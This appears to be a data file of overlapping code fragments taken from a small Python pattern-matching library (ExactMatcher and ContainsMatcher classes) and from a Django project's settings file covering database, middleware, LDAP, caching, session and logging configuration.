"@classmethod def get_type(cls): return \"exact\" class ContainsMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern):",
"raw_pattern.casefold() def match_text(self, pattern, text): return pattern in text @classmethod",
"compile_pattern(self, raw_pattern): return raw_pattern def compile_pattern_cs(self, raw_pattern): return raw_pattern def",
"return \"exact\" class ContainsMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern def",
"compile_pattern_cf(self, raw_pattern): return raw_pattern.casefold() def match_text(self, pattern, text): return pattern",
"text): return pattern in text @classmethod def get_type(cls): return \"contains\"",
"return raw_pattern.casefold() def match_text(self, pattern, text): return text == pattern",
"raw_pattern): return raw_pattern.casefold() def match_text(self, pattern, text): return text ==",
"import PolymorphicMatcher class ExactMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern def",
"ExactMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern def compile_pattern_cs(self, raw_pattern): return",
"compile_pattern_cs(self, raw_pattern): return raw_pattern def compile_pattern_ci(self, raw_pattern): return raw_pattern.lower() def",
"def match_text(self, pattern, text): return pattern in text @classmethod def",
"raw_pattern): return raw_pattern.casefold() def match_text(self, pattern, text): return pattern in",
"return raw_pattern.casefold() def match_text(self, pattern, text): return pattern in text",
"return raw_pattern def compile_pattern_ci(self, raw_pattern): return raw_pattern.lower() def compile_pattern_cf(self, raw_pattern):",
"polymatch import PolymorphicMatcher class ExactMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern",
"from polymatch import PolymorphicMatcher class ExactMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return",
"text == pattern @classmethod def get_type(cls): return \"exact\" class ContainsMatcher(PolymorphicMatcher):",
"match_text(self, pattern, text): return pattern in text @classmethod def get_type(cls):",
"== pattern @classmethod def get_type(cls): return \"exact\" class ContainsMatcher(PolymorphicMatcher): def",
"pattern, text): return pattern in text @classmethod def get_type(cls): return",
"class ExactMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern def compile_pattern_cs(self, raw_pattern):",
"pattern, text): return text == pattern @classmethod def get_type(cls): return",
"text): return text == pattern @classmethod def get_type(cls): return \"exact\"",
"pattern @classmethod def get_type(cls): return \"exact\" class ContainsMatcher(PolymorphicMatcher): def compile_pattern(self,",
"get_type(cls): return \"exact\" class ContainsMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern",
"def compile_pattern_cf(self, raw_pattern): return raw_pattern.casefold() def match_text(self, pattern, text): return",
"ContainsMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern def compile_pattern_cs(self, raw_pattern): return",
"raw_pattern.lower() def compile_pattern_cf(self, raw_pattern): return raw_pattern.casefold() def match_text(self, pattern, text):",
"raw_pattern def compile_pattern_cs(self, raw_pattern): return raw_pattern def compile_pattern_ci(self, raw_pattern): return",
"raw_pattern def compile_pattern_ci(self, raw_pattern): return raw_pattern.lower() def compile_pattern_cf(self, raw_pattern): return",
"class ContainsMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern def compile_pattern_cs(self, raw_pattern):",
"raw_pattern.casefold() def match_text(self, pattern, text): return text == pattern @classmethod",
"return text == pattern @classmethod def get_type(cls): return \"exact\" class",
"<reponame>linuxdaemon/poly-match from polymatch import PolymorphicMatcher class ExactMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern):",
"return raw_pattern def compile_pattern_cs(self, raw_pattern): return raw_pattern def compile_pattern_ci(self, raw_pattern):",
"def compile_pattern(self, raw_pattern): return raw_pattern def compile_pattern_cs(self, raw_pattern): return raw_pattern",
"raw_pattern): return raw_pattern def compile_pattern_ci(self, raw_pattern): return raw_pattern.lower() def compile_pattern_cf(self,"
] |
[
"'filename': LOG_FILENAME, 'maxBytes': 50000, 'backupCount': 2, 'formatter': 'standard', }, 'console':{",
"'level': 'ERROR', 'filters': ['require_debug_false'], 'include_html': True, 'class': 'django.utils.log.AdminEmailHandler' } },",
"SESSION_COOKIE_AGE = 86400 # SMTP settings EMAIL_HOST = '' EMAIL_HOST_USER",
"'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'verbose': { 'format': '%(levelname)s %(asctime)s",
"%(thread)d %(message)s', 'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'simple': { 'format':",
"\"\" LDAP_USER = \"\" LDAP_PASS = \"\" LDAP_EMAIL_DOMAIN = \"\"",
"#SESSION_ENGINE = \"django.contrib.sessions.backends.cache\" SESSION_EXPIRE_AT_BROWSER_CLOSE = False SESSION_COOKIE_DOMAIN=\".carthage.edu\" SESSION_COOKIE_NAME ='django_djskeletor_cookie' SESSION_COOKIE_AGE",
"'version': 1, 'disable_existing_loggers': True, 'formatters': { 'standard': { 'format' :",
"= '' LDAP_PROTOCOL = \"\" LDAP_PROTOCOL_PWM = \"\" LDAP_BASE =",
"= 'en-us' TIME_ZONE = 'America/Chicago' SITE_ID = 1 USE_I18N =",
"= '/static/admin/' STATIC_ROOT = '' STATIC_URL = \"/static/\" STATICFILES_DIRS =",
"LDAP_BASE = \"\" LDAP_USER = \"\" LDAP_PASS = \"\" LDAP_EMAIL_DOMAIN",
"{ 'standard': { 'format' : \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\", 'datefmt'",
"'%(levelname)s %(message)s' }, }, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse'",
"#} } } CACHE_MIDDLEWARE_ANONYMOUS_ONLY = True # LDAP Constants LDAP_SERVER",
"\"/static/\" STATICFILES_DIRS = () STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', #",
"apps in iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware', ) # template stuff TEMPLATE_LOADERS =",
"LDAP_PROTOCOL_PWM = \"\" LDAP_BASE = \"\" LDAP_USER = \"\" LDAP_PASS",
"= { 'default': { 'HOST': '127.0.0.1', 'PORT': '3306', 'NAME': 'django_djskeletor',",
"'' EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS = True EMAIL_PORT = 587",
"# template stuff TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS",
"'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # the following should be uncommented unless",
"LIVEWHALE_API_URL = \"https://%s\" % (SERVER_URL) BASE_DIR = os.path.dirname(os.path.dirname(__file__)) ROOT_DIR =",
"= False USE_L10N = False USE_TZ = False DEFAULT_CHARSET =",
"'django.core.cache.backends.dummy.DummyCache', #'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION': '127.0.0.1:11211', #'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION': '/var/tmp/django_djskeletor_cache', #'TIMEOUT':",
") MIDDLEWARE_CLASSES = ( 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware',",
"'class':'django.utils.log.NullHandler', }, 'logfile': { 'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler', 'filename': LOG_FILENAME, 'maxBytes': 50000,",
"{ 'handlers':['console'], 'propagate': True, 'level':'WARN', }, 'django.db.backends': { 'handlers': ['console'],",
") LOGIN_URL = '/djskeletor/accounts/login/' LOGIN_REDIRECT_URL = '/djskeletor/' USE_X_FORWARDED_HOST = True",
"# Build paths inside the project like this: os.path.join(BASE_DIR, ...)",
"SERVER_MAIL='' # logging LOG_FILEPATH = os.path.join(os.path.dirname(__file__), \"logs/\") LOG_FILENAME = LOG_FILEPATH",
"TEMPLATE_DIRS = ( \"/data2/django_projects/djskeletor/templates/\", \"/data2/django_templates/djkorra/\", \"/data2/django_templates/djcher/\", \"/data2/django_templates/\", ) TEMPLATE_CONTEXT_PROCESSORS =",
"'djskeletor.myapp', 'djtools', ) MIDDLEWARE_CLASSES = ( 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware',",
"\"django.contrib.sessions.backends.cache\" SESSION_EXPIRE_AT_BROWSER_CLOSE = False SESSION_COOKIE_DOMAIN=\".carthage.edu\" SESSION_COOKIE_NAME ='django_djskeletor_cookie' SESSION_COOKIE_AGE = 86400",
"False DEFAULT_FROM_EMAIL = '' SERVER_EMAIL = '' SERVER_MAIL='' # logging",
"}, 'logfile': { 'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler', 'filename': LOG_FILENAME, 'maxBytes': 50000, 'backupCount':",
"stuff TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS = (",
"#'LOCATION': '127.0.0.1:11211', #'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION': '/var/tmp/django_djskeletor_cache', #'TIMEOUT': 60*20, #'KEY_PREFIX': \"DJSKELETOR_\",",
"SESSION_EXPIRE_AT_BROWSER_CLOSE = False SESSION_COOKIE_DOMAIN=\".carthage.edu\" SESSION_COOKIE_NAME ='django_djskeletor_cookie' SESSION_COOKIE_AGE = 86400 #",
"inside the project like this: os.path.join(BASE_DIR, ...) import os #",
"Build paths inside the project like this: os.path.join(BASE_DIR, ...) import",
"\"debug\" ADMINS = ( ('', ''), ) MANAGERS = ADMINS",
"\"\" LDAP_PASS = \"\" LDAP_EMAIL_DOMAIN = \"\" LDAP_OBJECT_CLASS = \"\"",
"'' EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS = True",
"'django.contrib.humanize', 'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.staticfiles', 'djskeletor', 'djskeletor.core', 'djskeletor.myapp', 'djtools', )",
"%(levelname)s [%(name)s:%(lineno)s] %(message)s\", 'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'verbose': {",
"'django.db.backends': { 'handlers': ['console'], 'level': 'DEBUG', 'propagate': False, }, 'django.request':",
"LOG_FILENAME = LOG_FILEPATH + \"debug.log\" LOGGING = { 'version': 1,",
"'/static/admin/' STATIC_ROOT = '' STATIC_URL = \"/static/\" STATICFILES_DIRS = ()",
"'filters': ['require_debug_false'], 'include_html': True, 'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers': {",
"'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # the following should be uncommented",
"backends AUTHENTICATION_BACKENDS = ( 'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend', ) LOGIN_URL = '/djskeletor/accounts/login/'",
"ADMINS SECRET_KEY = '' ALLOWED_HOSTS = [] LANGUAGE_CODE = 'en-us'",
"unless you are # embedding your apps in iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware',",
"\"%Y/%b/%d %H:%M:%S\" }, 'simple': { 'format': '%(levelname)s %(message)s' }, },",
"'handlers':['console'], 'propagate': True, 'level':'WARN', }, 'django.db.backends': { 'handlers': ['console'], 'level':",
"1 USE_I18N = False USE_L10N = False USE_TZ = False",
"Django settings for project. \"\"\" # Build paths inside the",
"SECRET_KEY = '' ALLOWED_HOSTS = [] LANGUAGE_CODE = 'en-us' TIME_ZONE",
"}, 'handlers': { 'null': { 'level':'DEBUG', 'class':'django.utils.log.NullHandler', }, 'logfile': {",
"'handlers': { 'null': { 'level':'DEBUG', 'class':'django.utils.log.NullHandler', }, 'logfile': { 'level':'DEBUG',",
"= \"\" LDAP_OBJECT_CLASS = \"\" LDAP_OBJECT_CLASS_LIST = [] LDAP_GROUPS =",
"STATIC_URL = \"/static/\" STATICFILES_DIRS = () STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder',",
"'' SERVER_MAIL='' # logging LOG_FILEPATH = os.path.join(os.path.dirname(__file__), \"logs/\") LOG_FILENAME =",
": \"%Y/%b/%d %H:%M:%S\" }, 'simple': { 'format': '%(levelname)s %(message)s' },",
"= \"https://%s\" % (SERVER_URL) BASE_DIR = os.path.dirname(os.path.dirname(__file__)) ROOT_DIR = os.path.dirname(__file__)",
"EMAIL_HOST = '' EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS",
"} }, 'handlers': { 'null': { 'level':'DEBUG', 'class':'django.utils.log.NullHandler', }, 'logfile':",
"LDAP_RETURN_PWM = [] LDAP_ID_ATTR = \"\" LDAP_CHALLENGE_ATTR = \"\" #",
"\"\"\" # Build paths inside the project like this: os.path.join(BASE_DIR,",
"'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers': { 'djskeletor': { 'handlers':['logfile'], 'propagate':",
"# LDAP Constants LDAP_SERVER = '' LDAP_SERVER_PWM = '' LDAP_PORT",
"USE_TZ = False DEFAULT_CHARSET = 'utf-8' FILE_CHARSET = 'utf-8' SERVER_URL",
"LDAP_RETURN = [] LDAP_RETURN_PWM = [] LDAP_ID_ATTR = \"\" LDAP_CHALLENGE_ATTR",
"( \"/data2/django_projects/djskeletor/templates/\", \"/data2/django_templates/djkorra/\", \"/data2/django_templates/djcher/\", \"/data2/django_templates/\", ) TEMPLATE_CONTEXT_PROCESSORS = ( \"djtools.context_processors.sitevars\",",
"\"\" LDAP_OBJECT_CLASS = \"\" LDAP_OBJECT_CLASS_LIST = [] LDAP_GROUPS = {}",
"import os # Debug #DEBUG = False DEBUG = True",
"\"%s/%s\" % (SERVER_URL, \"api\") LIVEWHALE_API_URL = \"https://%s\" % (SERVER_URL) BASE_DIR",
"'%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s', 'datefmt' : \"%Y/%b/%d %H:%M:%S\"",
"= \"\" API_URL = \"%s/%s\" % (SERVER_URL, \"api\") LIVEWHALE_API_URL =",
"= \"%s/%s\" % (SERVER_URL, \"api\") LIVEWHALE_API_URL = \"https://%s\" % (SERVER_URL)",
"= '' EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS =",
"'format' : \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\", 'datefmt' : \"%Y/%b/%d %H:%M:%S\"",
"= 'djskeletor.core.urls' WSGI_APPLICATION = 'djskeletor.wsgi.application' MEDIA_ROOT = '' ADMIN_MEDIA_PREFIX =",
"DATABASES = { 'default': { 'HOST': '127.0.0.1', 'PORT': '3306', 'NAME':",
"'handlers':['logfile'], 'propagate': True, 'level':'DEBUG', }, 'django': { 'handlers':['console'], 'propagate': True,",
"= False DEFAULT_CHARSET = 'utf-8' FILE_CHARSET = 'utf-8' SERVER_URL =",
"( 'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend', ) LOGIN_URL = '/djskeletor/accounts/login/' LOGIN_REDIRECT_URL = '/djskeletor/'",
"'loggers': { 'djskeletor': { 'handlers':['logfile'], 'propagate': True, 'level':'DEBUG', }, 'django':",
"True, 'formatters': { 'standard': { 'format' : \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s]",
"[] LDAP_RETURN_PWM = [] LDAP_ID_ATTR = \"\" LDAP_CHALLENGE_ATTR = \"\"",
"'default': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', #'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION': '127.0.0.1:11211', #'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',",
"'127.0.0.1:11211', #'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION': '/var/tmp/django_djskeletor_cache', #'TIMEOUT': 60*20, #'KEY_PREFIX': \"DJSKELETOR_\", #'OPTIONS':",
"{ 'HOST': '127.0.0.1', 'PORT': '3306', 'NAME': 'django_djskeletor', 'ENGINE': 'django.db.backends.mysql', #'ENGINE':",
"'utf-8' FILE_CHARSET = 'utf-8' SERVER_URL = \"\" API_URL = \"%s/%s\"",
"%(module)s %(process)d %(thread)d %(message)s', 'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'simple':",
"'PASSWORD': '' }, } INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes',",
"DEBUG = True TEMPLATE_DEBUG = DEBUG INFORMIX_DEBUG = \"debug\" ADMINS",
"\"\" LDAP_OBJECT_CLASS_LIST = [] LDAP_GROUPS = {} LDAP_RETURN = []",
"'formatters': { 'standard': { 'format' : \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\",",
"'standard': { 'format' : \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\", 'datefmt' :",
"True, 'level':'WARN', }, 'django.db.backends': { 'handlers': ['console'], 'level': 'DEBUG', 'propagate':",
"DEBUG INFORMIX_DEBUG = \"debug\" ADMINS = ( ('', ''), )",
"USE_L10N = False USE_TZ = False DEFAULT_CHARSET = 'utf-8' FILE_CHARSET",
"{ 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'null':",
"[] LANGUAGE_CODE = 'en-us' TIME_ZONE = 'America/Chicago' SITE_ID = 1",
"'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION': '/var/tmp/django_djskeletor_cache', #'TIMEOUT': 60*20, #'KEY_PREFIX': \"DJSKELETOR_\", #'OPTIONS': { #",
"'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION': '127.0.0.1:11211', #'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION': '/var/tmp/django_djskeletor_cache', #'TIMEOUT': 60*20, #'KEY_PREFIX':",
"'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.formtools', 'django.contrib.humanize', 'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.staticfiles', 'djskeletor',",
"the following should be uncommented unless you are # embedding",
"'django.contrib.formtools', 'django.contrib.humanize', 'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.staticfiles', 'djskeletor', 'djskeletor.core', 'djskeletor.myapp', 'djtools',",
"( 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', #",
"{ 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', #'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION': '127.0.0.1:11211', #'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION':",
"'' SERVER_EMAIL = '' SERVER_MAIL='' # logging LOG_FILEPATH = os.path.join(os.path.dirname(__file__),",
"( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', ) DATABASES = { 'default':",
"# the following should be uncommented unless you are #",
"iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware', ) # template stuff TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader',",
"ROOT_URLCONF = 'djskeletor.core.urls' WSGI_APPLICATION = 'djskeletor.wsgi.application' MEDIA_ROOT = '' ADMIN_MEDIA_PREFIX",
"LANGUAGE_CODE = 'en-us' TIME_ZONE = 'America/Chicago' SITE_ID = 1 USE_I18N",
"'DEBUG', 'propagate': False, }, 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR',",
"() STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', ) DATABASES",
"( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.formtools', 'django.contrib.humanize', 'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.staticfiles',",
"'djskeletor.core', 'djskeletor.myapp', 'djtools', ) MIDDLEWARE_CLASSES = ( 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware',",
"'logfile': { 'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler', 'filename': LOG_FILENAME, 'maxBytes': 50000, 'backupCount': 2,",
"\"https://%s\" % (SERVER_URL) BASE_DIR = os.path.dirname(os.path.dirname(__file__)) ROOT_DIR = os.path.dirname(__file__) ROOT_URL",
"{ 'default': { 'HOST': '127.0.0.1', 'PORT': '3306', 'NAME': 'django_djskeletor', 'ENGINE':",
"CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', #'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION':",
"'handlers': ['console'], 'level': 'DEBUG', 'propagate': False, }, 'django.request': { 'handlers':",
"'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS = ( \"/data2/django_projects/djskeletor/templates/\", \"/data2/django_templates/djkorra/\", \"/data2/django_templates/djcher/\", \"/data2/django_templates/\",",
"'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend', ) LOGIN_URL = '/djskeletor/accounts/login/' LOGIN_REDIRECT_URL = '/djskeletor/' USE_X_FORWARDED_HOST",
"= '' EMAIL_USE_TLS = True EMAIL_PORT = 587 EMAIL_FAIL_SILENTLY =",
"'level':'DEBUG', }, 'django': { 'handlers':['console'], 'propagate': True, 'level':'WARN', }, 'django.db.backends':",
"}, }, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } },",
"= 'utf-8' SERVER_URL = \"\" API_URL = \"%s/%s\" % (SERVER_URL,",
"= DEBUG INFORMIX_DEBUG = \"debug\" ADMINS = ( ('', ''),",
"ADMINS = ( ('', ''), ) MANAGERS = ADMINS SECRET_KEY",
"\"\" LDAP_PROTOCOL_PWM = \"\" LDAP_BASE = \"\" LDAP_USER = \"\"",
"'standard' }, 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'include_html': True,",
"= 'America/Chicago' SITE_ID = 1 USE_I18N = False USE_L10N =",
"'/djskeletor/' USE_X_FORWARDED_HOST = True #SESSION_ENGINE = \"django.contrib.sessions.backends.cache\" SESSION_EXPIRE_AT_BROWSER_CLOSE = False",
"TEMPLATE_DEBUG = DEBUG INFORMIX_DEBUG = \"debug\" ADMINS = ( ('',",
"= \"\" LDAP_OBJECT_CLASS_LIST = [] LDAP_GROUPS = {} LDAP_RETURN =",
"MEDIA_ROOT = '' ADMIN_MEDIA_PREFIX = '/static/admin/' STATIC_ROOT = '' STATIC_URL",
"True, 'level':'DEBUG', }, 'django': { 'handlers':['console'], 'propagate': True, 'level':'WARN', },",
"False DEBUG = True TEMPLATE_DEBUG = DEBUG INFORMIX_DEBUG = \"debug\"",
"= \"/static/\" STATICFILES_DIRS = () STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder',",
"= ( \"djtools.context_processors.sitevars\", \"django.contrib.auth.context_processors.auth\", \"django.core.context_processors.request\", \"django.core.context_processors.debug\", \"django.core.context_processors.media\", ) # caching",
"'HOST': '127.0.0.1', 'PORT': '3306', 'NAME': 'django_djskeletor', 'ENGINE': 'django.db.backends.mysql', #'ENGINE': 'django.db.backends.dummy',",
"= True # LDAP Constants LDAP_SERVER = '' LDAP_SERVER_PWM =",
"'django.contrib.staticfiles', 'djskeletor', 'djskeletor.core', 'djskeletor.myapp', 'djtools', ) MIDDLEWARE_CLASSES = ( 'django.middleware.cache.UpdateCacheMiddleware',",
"(SERVER_URL, \"api\") LIVEWHALE_API_URL = \"https://%s\" % (SERVER_URL) BASE_DIR = os.path.dirname(os.path.dirname(__file__))",
") # caching CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache',",
"'127.0.0.1', 'PORT': '3306', 'NAME': 'django_djskeletor', 'ENGINE': 'django.db.backends.mysql', #'ENGINE': 'django.db.backends.dummy', 'USER':",
"be uncommented unless you are # embedding your apps in",
"# 'MAX_ENTRIES': 80000, #} } } CACHE_MIDDLEWARE_ANONYMOUS_ONLY = True #",
"# SMTP settings EMAIL_HOST = '' EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD",
"{ 'format' : \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\", 'datefmt' : \"%Y/%b/%d",
"for project. \"\"\" # Build paths inside the project like",
"'', 'PASSWORD': '' }, } INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth',",
"'()': 'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'null': { 'level':'DEBUG', 'class':'django.utils.log.NullHandler',",
"LDAP_SERVER_PWM = '' LDAP_PORT = '' LDAP_PORT_PWM = '' LDAP_PROTOCOL",
"# logging LOG_FILEPATH = os.path.join(os.path.dirname(__file__), \"logs/\") LOG_FILENAME = LOG_FILEPATH +",
"this: os.path.join(BASE_DIR, ...) import os # Debug #DEBUG = False",
"'django.db.backends.mysql', #'ENGINE': 'django.db.backends.dummy', 'USER': '', 'PASSWORD': '' }, } INSTALLED_APPS",
"AUTHENTICATION_BACKENDS = ( 'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend', ) LOGIN_URL = '/djskeletor/accounts/login/' LOGIN_REDIRECT_URL",
"}, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'handlers':",
"INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.formtools', 'django.contrib.humanize', 'django.contrib.messages', 'django.contrib.sessions',",
"= ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.formtools', 'django.contrib.humanize', 'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.sites',",
"= \"debug\" ADMINS = ( ('', ''), ) MANAGERS =",
"like this: os.path.join(BASE_DIR, ...) import os # Debug #DEBUG =",
"= '' ALLOWED_HOSTS = [] LANGUAGE_CODE = 'en-us' TIME_ZONE =",
"SMTP settings EMAIL_HOST = '' EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD =",
") TEMPLATE_DIRS = ( \"/data2/django_projects/djskeletor/templates/\", \"/data2/django_templates/djkorra/\", \"/data2/django_templates/djcher/\", \"/data2/django_templates/\", ) TEMPLATE_CONTEXT_PROCESSORS",
"80000, #} } } CACHE_MIDDLEWARE_ANONYMOUS_ONLY = True # LDAP Constants",
"'simple': { 'format': '%(levelname)s %(message)s' }, }, 'filters': { 'require_debug_false':",
"'/djskeletor/accounts/login/' LOGIN_REDIRECT_URL = '/djskeletor/' USE_X_FORWARDED_HOST = True #SESSION_ENGINE = \"django.contrib.sessions.backends.cache\"",
"'maxBytes': 50000, 'backupCount': 2, 'formatter': 'standard', }, 'console':{ 'level':'INFO', 'class':'logging.StreamHandler',",
"LOGIN_URL = '/djskeletor/accounts/login/' LOGIN_REDIRECT_URL = '/djskeletor/' USE_X_FORWARDED_HOST = True #SESSION_ENGINE",
"SESSION_COOKIE_DOMAIN=\".carthage.edu\" SESSION_COOKIE_NAME ='django_djskeletor_cookie' SESSION_COOKIE_AGE = 86400 # SMTP settings EMAIL_HOST",
"SESSION_COOKIE_NAME ='django_djskeletor_cookie' SESSION_COOKIE_AGE = 86400 # SMTP settings EMAIL_HOST =",
"= '/djskeletor/accounts/login/' LOGIN_REDIRECT_URL = '/djskeletor/' USE_X_FORWARDED_HOST = True #SESSION_ENGINE =",
"True TEMPLATE_DEBUG = DEBUG INFORMIX_DEBUG = \"debug\" ADMINS = (",
"the project like this: os.path.join(BASE_DIR, ...) import os # Debug",
"= '' EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS = True EMAIL_PORT =",
"SITE_ID = 1 USE_I18N = False USE_L10N = False USE_TZ",
"'formatter': 'standard', }, 'console':{ 'level':'INFO', 'class':'logging.StreamHandler', 'formatter': 'standard' }, 'mail_admins':",
"( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS = ( \"/data2/django_projects/djskeletor/templates/\", \"/data2/django_templates/djkorra/\", \"/data2/django_templates/djcher/\",",
"EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS = True EMAIL_PORT = 587 EMAIL_FAIL_SILENTLY",
"#DEBUG = False DEBUG = True TEMPLATE_DEBUG = DEBUG INFORMIX_DEBUG",
"'default': { 'HOST': '127.0.0.1', 'PORT': '3306', 'NAME': 'django_djskeletor', 'ENGINE': 'django.db.backends.mysql',",
"your apps in iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware', ) # template stuff TEMPLATE_LOADERS",
"auth backends AUTHENTICATION_BACKENDS = ( 'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend', ) LOGIN_URL =",
"}, 'django': { 'handlers':['console'], 'propagate': True, 'level':'WARN', }, 'django.db.backends': {",
": \"%Y/%b/%d %H:%M:%S\" }, 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s",
